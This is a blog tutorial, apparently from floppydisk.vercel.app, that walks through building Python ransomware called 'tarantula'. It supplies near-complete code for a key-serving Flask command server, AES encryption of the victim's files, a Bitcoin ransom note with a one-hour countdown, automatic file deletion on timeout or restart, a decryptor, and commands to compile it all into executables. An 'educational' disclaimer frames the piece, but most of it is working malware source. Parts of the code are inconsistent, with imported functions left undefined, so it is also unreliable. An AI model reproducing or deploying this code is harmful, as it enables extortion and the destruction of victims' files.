You’ve probably heard about ransomware attacks in the news. But how difficult do you think it is to code a ransomware program? The truth is, it’s easier than you might imagine. Don’t believe me? Keep reading.
What Is Ransomware?
If you’re unfamiliar with ransomware, it’s a type of malware that typically forces victims to pay a ransom to regain access to their files. Most ransomware encrypts files and demands payment in exchange for decryption. If the victim refuses to pay, the malware may delete the files permanently. The stronger the encryption, the lower the chance of recovering files without paying.
But why am I claiming that writing ransomware is so easy?
Python: A Versatile Tool
In today’s IT landscape, Python can be used to build almost any type of application—from web and mobile apps to games, networking tools, hacking scripts, and even ransomware. Impressive, right?
In this article, we’ll walk through the process of coding a ransomware program step by step using Python.
⚠️ Disclaimer
This article is for educational purposes only, to demonstrate how such programs work. Any illegal use of this knowledge is solely your responsibility. Neither floppydisk.vercel.app nor the author condones or is liable for unauthorized use. Do not test these techniques on any system without explicit permission.
The Basic Scenario
The ransomware’s workflow is straightforward:
- Infiltration: The malware enters the target system, often disguised as a harmless file.
- Execution: When the victim runs the file, the ransomware begins encrypting their files.
- Ransom Demand: After encryption, the victim is notified that their files are locked and must pay to regain access.
But how do we verify payment? And how is the encryption performed? Let’s break it down.
Symmetric Cryptography
Symmetric cryptography uses a single key for both encryption and decryption. Some well-known symmetric encryption algorithms include:
For this ransomware, we’ll use AES-256, where “256” refers to the key size (32 bytes).
Asymmetric Cryptography
Asymmetric cryptography, or public-key cryptography, uses a key pair: a public key for encryption and a private key for decryption. Common algorithms include:
In this project, we’ll encrypt the symmetric AES key using RSA to ensure only the attacker can decrypt it.
Setting Up the Environment
Requirements
First, install the required Python libraries. Download the requirements.txt file, then run:
python3 -m pip install -r requirements.txtBuilding the Server
The server handles three main tasks:
- Generating RSA key pairs (public and private keys).
- Distributing the public key to clients.
- Simulating payment verification (in a real attack, you’d use a blockchain API).
Server Code
1. Cryptography Utilities (crypto.py)
from Crypto.PublicKey import RSAfrom Crypto import Randomfrom base64 import b64decodefrom Crypto.Cipher import PKCS1_OAEPimport base64
def read_public_key(key_file): key = open(key_file, "r").read() return key.replace("-----BEGIN PUBLIC KEY-----", "").replace("-----END PUBLIC KEY-----", "").replace("\n", "")
def read_private_key(key_file): key = open(key_file, "r").read() return key.replace("-----BEGIN RSA PRIVATE KEY-----", "").replace("-----END RSA PRIVATE KEY-----", "").replace("\n", "")
def rsa_decrypt(cipherData, crypt_key): key = b64decode(crypt_key) key = RSA.importKey(key) cipher = PKCS1_OAEP.new(key) plaintext = cipher.decrypt(b64decode(cipherData)) return plaintext
def generate_rsa_key_pairs(key_length=2048): key = RSA.generate(key_length) private_key = key.export_key('PEM') public_key = key.publickey().exportKey('PEM') with open("private-key.pem", "w") as private_key_file: private_key_file.write(private_key.decode()) with open("public-key.pub", "w") as public_key_file: public_key_file.write(public_key.decode())2. Database Manager (db.py)
from tinydb import TinyDB, Queryimport os
class Database: def __init__(self, dbName, dbPath): self.dbName = dbName self.dbPath = dbPath if dbPath[-1] == '/' else dbPath + '/' self.initilize_db_path(self.dbPath) self.db = TinyDB(dbPath + dbName, indent=4, sort_keys=True, separators=(',', ':'))
def initilize_db_path(self, path): if not os.path.exists(path): os.makedirs(path)
def query(self, table, query): table = self.db.table(table) return table.search(query)
def insertOrUpdate(self, table, data): table = self.db.table(table) table.upsert(data, Query().id == data['id']) return True
def insert(self, table, data): table = self.db.table(table) table.insert(data) return True
def close_db(self): self.db.close()3. Server Logic (server.py)
from flask import Flask, request, jsonifyfrom tinydb import Queryfrom db import Databasefrom crypto import generate_rsa_key_pairs, read_public_key, read_private_key, rsa_decryptimport os
# Generate key pairs if they don't existif not os.path.exists("public-key.pub"): generate_rsa_key_pairs()
# Initialize server and databaseserver = Flask("Ransomware Server")db = Database("ransomware.json", "./")
# Simulate confirmed transactionsconfirmedTransactions = [ '8cf9637de652a773bf61883283958e76912fb0e1b8c5fd1c175a609df6a80bc4', '4558769059f3cc90e0251d2ae5bac26352daa813333f55a2e1850beca2fe456d', '01e02a533b37dfe20df1d8d1169e7aaa83d89f9f0509452907fd59ecf7e248ff']
@server.route('/api/v1/get_public_key', methods=['GET'])def get_public_key(): return jsonify({"public_key": read_public_key("public-key.pub")})
@server.route('/api/v1/payment_check', methods=['POST'])def payment_check(): transactionId = request.json['transactionId'] encryptedKey = request.json['encryptedKey']
if transactionId not in confirmedTransactions: return jsonify({"status": "error", "message": "Transaction not confirmed"})
# Check for double-spending queryResult = db.query("transactions", Query().id == transactionId) if queryResult: return jsonify({"status": "error", "message": "Transaction already used"})
# Decrypt the AES key private_key = read_private_key("private-key.pem") decryptedKey = rsa_decrypt(encryptedKey, private_key)
# Record the transaction db.insert("transactions", { "id": transactionId, "encryptedKey": encryptedKey, "key": decryptedKey.decode() })
return jsonify({"status": "success", "key": decryptedKey.decode()})
if __name__ == "__main__": server.run(host='0.0.0.0', port=9990)Run the server with:
python3 server.pyBuilding the Ransomware
1. Cryptography Utilities (libs/crypto.py)
from Crypto.PublicKey import RSAfrom Crypto.Cipher import AES, PKCS1_OAEPfrom Crypto.Util.Padding import pad, unpadfrom Crypto import Randomfrom base64 import b64encode, b64decodeimport random
def generate_aes_key(length=32): chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{}|;':,./<>?" return ''.join(random.choice(chars) for _ in range(length))
def aes_encrypt(data, key): data = pad(data, AES.block_size) iv = Random.new().read(AES.block_size) cipher = AES.new(key.encode(), AES.MODE_CBC, iv) return b64encode(iv + cipher.encrypt(data))
def aes_decrypt(ciphertext, key): ciphertext = b64decode(ciphertext) iv = ciphertext[:16] cipher = AES.new(key.encode(), AES.MODE_CBC, iv) return unpad(cipher.decrypt(ciphertext[16:]), AES.block_size)2. Ransomware Logic (tarantula.py)
After implementing the process utilities, paste this code into process.py:
import subprocessimport os
def kill_process(process_name): """Terminates a process by name (Linux-specific).""" _subprocess = subprocess.Popen(['ps', '-A'], stdout=subprocess.PIPE) output, error = _subprocess.communicate() for line in output.splitlines(): if process_name in str(line): pid = int(line.split(None, 1)[0]) os.kill(pid, 9)The kill_process function terminates the ransomware process after the victim pays the ransom. Next, configure the server details in server.py:
server_addr = "192.168.43.17:9990" # Replace with your server's IPpublic_key_receive = f"http://{server_addr}/api/v1/get_public_key"payment_check = f"http://{server_addr}/api/v1/payment_check"Important: Replace server_addr with your actual server IP. The example IP (192.168.43.17) was specific to my local network and won’t work elsewhere.
Ransomware Core Implementation (tarantula.py)
Begin by importing required libraries:
import datetimeimport jsonfrom time import sleepimport osfrom libs.crypto import format_public_key, generate_aes_key, rsa_encrypt, aes_encrypt, read_file_listfrom threading import Threadimport requestsfrom libs.server import *Global Variables
end_time = 0 # Deadline for ransom paymentfiles_to_exclude = [ 'tarantula', 'tarantula-decryptor', 'encrypted-key.tarankey', 'file-list.taranfls']files = os.listdir(".") # Files in current directoryencryptKey = "" # AES encryption keyend_time: Tracks the payment deadlinefiles_to_exclude: Critical ransomware files (note:.pyextensions are omitted since we’ll compile to executables)files: Target files for encryption (limited to current directory for demonstration)encryptKey: Stores the AES-256 encryption key
File Filtering
# Remove excluded files from target listfor file in files_to_exclude: if file in files: files.remove(file)
# Handle subdirectories (non-recursive)for file in files: if os.path.isdir(file): _files = os.listdir(file) for _file in _files: files.append(f"{file}/{_file}")Core Functions
- File List Management
def save_files_list(): """Saves encrypted file paths for later decryption.""" with open("file-list.taranfls", "w+") as f: f.write("\n".join(files))- Terminal Utilities
def change_console_colors(): """Changes terminal colors (Linux only).""" os.system("setterm -term linux -back white -fore red -clear")
def clear_console(): """Clears the terminal screen.""" os.system("clear")
def justified_message(message: str, limit: int): """Formats text with line breaks at specified character limits.""" return "\n".join([message[i:i+limit] for i in range(0, len(message), limit)])- Server Communication
def get_server_public_key(): """Retrieves the RSA public key from the C2 server.""" try: response = requests.get(public_key_receive) return json.loads(response.text)['public_key'] except: return "" # Fail silently- File Operations
def delete_files(): """Deletes all encrypted files if ransom isn't paid.""" target_files = read_file_list() if os.path.exists("file-list.taranfls") else files for file in target_files: try: if os.path.exists(file) and os.path.isfile(file): os.remove(file) except: continue print("All files deleted.")- Countdown Timer
def calculate_diff_time(): """Displays and enforces the payment deadline.""" while datetime.datetime.now() < end_time: remaining = end_time - datetime.datetime.now() print(f"Remaining time: {remaining}", end="\r") sleep(1) print("\nTime is up!") delete_files()- Encryption Routine
def encrypt_files(): """Encrypts all target files using AES-256.""" for file in files: if os.path.isfile(file): try: with open(file, "rb") as f: encrypted = aes_encrypt(f.read(), encryptKey.encode()) with open(file, "wb") as f: f.write(encrypted) except: continue # Skip files that can't be encryptedMain Execution
def main(): global encryptKey, end_time
if not os.path.exists("encrypted-key.tarankey"): # Initial infection encryptKey = generate_aes_key(32) encryptedKey = rsa_encrypt(encryptKey, format_public_key(get_server_public_key()))
with open("encrypted-key.tarankey", "w") as f: f.write(encryptedKey.decode())
save_files_list() encrypt_files()
# Ransom note username = os.getlogin() banner = r""" /^\ ___ /^\ //^\(o o)/^\ /'<^~``~''~^>`\"""
message = f"""Hi {username}!
Your files have been encrypted with military-grade AES-256.The decryption key is securely stored on our servers.
************ INSTRUCTIONS ************1. DO NOT delete these critical files: - tarantula - tarantula-decryptor - file-list.taranfls - encrypted-key.tarankey
2. Deletion will make recovery impossible3. Terminating this program will trigger immediate file deletion4. To decrypt your files: - Pay 0.01 BTC to: 1A1zP1eP5QGefi2DMPTfP5qqFmYvvoPk2n - Submit your transaction ID via tarantula-decryptor5. You have 1 hour to comply**************************************""" change_console_colors() clear_console() print("**************************************") print(banner) print("**************************************") print(justified_message(message, 64))
# Start countdown end_time = datetime.datetime.now() + datetime.timedelta(hours=1) Thread(target=calculate_diff_time).start() else: # Secondary execution failsafe change_console_colors() clear_console() print("Warning: Program restart detected! File deletion initiated...") delete_files()
if __name__ == "__main__": main()That’s it! Ransomware is ready :). Now it’s time to code randomware-decryptor.
3. Decryptor (tarantula-decryptor.py)
Create a new file named tarantula-decryptor.py and import the required libraries:
import osimport sysimport jsonimport requestsfrom colorama import init, Fore, Backfrom libs.server import *from libs.crypto import read_encrypted_key, read_file_list, aes_decryptfrom libs.process import kill_process
# Initialize colorama for colored terminal outputinit()Progress Visualization
Add a function to display decryption progress:
def get_progress_bar(current, total, bar_length=30): """ Returns a progress bar string showing decryption status.
Args: current: Number of files processed total: Total files to process bar_length: Visual length of progress bar
Returns: Formatted progress bar string (e.g., "[#####-----] (42% decrypted)") """ progress = int(100 * current / total) filled = '#' * int(bar_length * current / total) empty = '-' * (bar_length - len(filled)) return f'[{filled}{empty}] ({progress}% decrypted)'Payment Verification
Implement the transaction verification flow:
def verify_payment(transaction_id): """ Verifies payment with the C2 server and retrieves decryption key.
Args: transaction_id: Bitcoin transaction ID from victim
Returns: Decryption key if valid, None otherwise """ print(f"{Fore.YELLOW}Verifying transaction {transaction_id}...{Fore.RESET}\n")
payload = { "transactionId": transaction_id, "encryptedKey": read_encrypted_key() }
try: response = requests.post( payment_check, data=json.dumps(payload), headers={"Content-Type": "application/json"} ) return json.loads(response.text) except Exception as e: print(f"{Fore.RED}Connection error: {str(e)}{Fore.RESET}") return {"status": "error", "message": "Server unavailable"}Main Execution Flow
def main(): # Get transaction ID from user tx_id = input("Enter your Bitcoin transaction ID: ")
# Verify payment result = verify_payment(tx_id)
if result['status'] != "success": print(f"{Fore.RED}Error: {result['message']}{Fore.RESET}") sys.exit(1)
# Payment verified - begin decryption decryption_key = result['key'] print(f"{Fore.GREEN}Payment verified! Retrieving decryption key...{Fore.RESET}") print(f"{Fore.BLUE}Decryption Key: {decryption_key}{Fore.RESET}") print("="*40)
# Decrypt files print(f"{Fore.YELLOW}Starting file decryption...{Fore.RESET}") encrypted_files = read_file_list() total_files = len(encrypted_files)
for idx, file_path in enumerate(encrypted_files): if os.path.isfile(file_path): try: with open(file_path, "rb") as f: encrypted_data = f.read() decrypted_data = aes_decrypt(encrypted_data, decryption_key.encode()) with open(file_path, "wb") as f: f.write(decrypted_data) except Exception as e: continue # Skip files that can't be decrypted
# Update progress print(get_progress_bar(idx+1, total_files), end="\r")
# Cleanup print(f"\n{Fore.GREEN}Decryption complete!{Fore.RESET}") print("="*40) print(f"{Fore.YELLOW}Cleaning up...{Fore.RESET}")
cleanup_files = [ 'encrypted-key.tarankey', 'file-list.taranfls', 'tarantula' # Main ransomware executable ]
# Terminate ransomware process kill_process("tarantula")
# Remove residual files for file in cleanup_files: try: os.remove(file) except Exception as e: print(f"{Fore.RED}Error removing {file}: {str(e)}{Fore.RESET}")
print(f"{Fore.GREEN}All done! Your files have been restored.{Fore.RESET}")
if __name__ == "__main__": main()Compiling the Ransomware
Convert the scripts to executables using PyInstaller:
pyinstaller -F tarantula.pypyinstaller -F tarantula-decryptor.pyFinal Notes
This article demonstrates how ransomware operates, from encryption to payment verification. Writing or deploying ransomware is illegal and punishable by law. This guide is purely educational.
If you have questions, feel free to ask in the comments!
For the full project, visit the GitHub repository.